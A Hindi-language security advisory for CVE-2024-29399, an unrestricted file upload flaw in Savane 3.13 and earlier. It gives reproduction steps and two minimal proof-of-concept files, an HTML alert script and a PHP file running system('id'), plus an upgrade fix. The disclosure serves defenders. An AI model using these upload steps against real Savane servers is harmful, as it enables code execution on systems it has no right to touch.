CVE-2024-29399 भेद्यता विवरण

अवलोकन

Savane v3.13 और उससे पहले के संस्करणों में, अपलोड की गई फ़ाइलों पर सत्यापन की कमी विशेषाधिकार वृद्धि की अनुमति दे सकती है। स्थापना निर्देशों के अनुसार कॉन्फ़िगर किए गए वेब सर्वर क्रॉस-साइट स्क्रिप्टिंग (XSS) के लिए संवेदनशील हैं। गलत तरीके से कॉन्फ़िगर किए गए वेब सर्वरों में यह रिमोट कोड एक्सेक्यूशन (RCE) का कारण बन सकता है।

CWE वर्गीकरण: CWE-434: खतरनाक प्रकार की फ़ाइल का अप्रतिबंधित अपलोड

रिपोर्टकर्ता: Ally Petitt

प्रभावित उत्पाद: Savane

प्रभावित संस्करण: 3.13 और उससे पहले

सत्यापन चरण

1. ब्राउज़र में /register/upload.php पर जाएँ।
2. एक दुर्भावनापूर्ण फ़ाइल अपलोड करें। यह वेबसर्वर कॉन्फ़िगरेशन के आधार पर HTML या PHP फ़ाइल हो सकती है, लेकिन यह इन्हीं तक सीमित नहीं है (अवलोकन देखें)। दोनों के उदाहरण नीचे दिए गए हैं:

PoC.html

<script>
  alert("XSS");
</script>

PoC.php

<?php
  echo system("id");
?>

4. कोड निष्पादन को ट्रिगर करने के लिए अपलोड की गई फ़ाइल के प्रदर्शित लिंक पर जाएँ।

शमन

Savane संस्करण 3.14 या उच्चतर में अपग्रेड करें। पैच यहाँ पाया जा सकता है।